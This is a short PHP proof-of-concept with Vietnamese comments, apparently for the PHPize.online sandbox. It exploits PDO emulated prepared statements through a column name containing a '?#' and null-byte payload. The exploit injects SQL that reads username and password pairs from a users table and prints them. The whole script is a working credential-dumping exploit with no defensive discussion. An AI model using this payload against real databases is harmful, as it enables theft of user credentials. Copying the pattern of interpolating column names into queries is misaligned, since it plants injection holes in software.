<?php
// Trên PHPize.online, biến $pdo đã được cung cấp sẵn kết nối MySQL 8.0
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
// 1. Cài payload ngay trong code
// Ví dụ payload để exploit bảng users
$col = '?#' . chr(0);
$name = "x` FROM (SELECT CONCAT(username,':',password) AS `x` FROM users)y;#";
// 2. Xây dựng tên cột với payload
$col = '`' . str_replace('`', '``', $col) . '`';
// 3. Prepare & execute (bind đúng 1 giá trị vì UNION-based đã comment phần còn lại)
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$name]);
// 4. Fetch và in kết quả
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach ($data as $row) {
echo join(' : ', $row) . PHP_EOL;
}
?>